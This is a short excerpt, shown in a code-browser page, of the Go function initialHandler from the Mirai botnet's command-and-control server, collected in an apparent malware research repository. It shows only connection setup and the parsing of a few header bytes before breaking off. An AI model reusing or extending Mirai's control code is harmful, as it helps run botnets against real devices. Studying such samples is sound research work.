INNER CODE UNIT · Go

initialHandler

darama22/Malware-Research-Hub · collections/RamadhanAmizudin-malware/Mirai/mirai/cnc/main.go:52

func initialHandler(conn net.Conn) {
    defer conn.Close()

    conn.SetDeadline(time.Now().Add(10 * time.Second))

    buf := make([]byte, 32)
    l, err := conn.Read(buf)
    if err != nil || l <= 0 {
        return
    }

    if l == 4 && buf[0] == 0x00 && buf[1] == 0x00 && buf[2] == 0x00 {
        if buf[3] > 0 {
            string_len := make([]byte, 1)
            l, err := conn.Read(string_len)
            if err != nil || l <= 0 {
                return
            }

View source record →

📰 Research Paper
Loading…
⏳ Fetching content…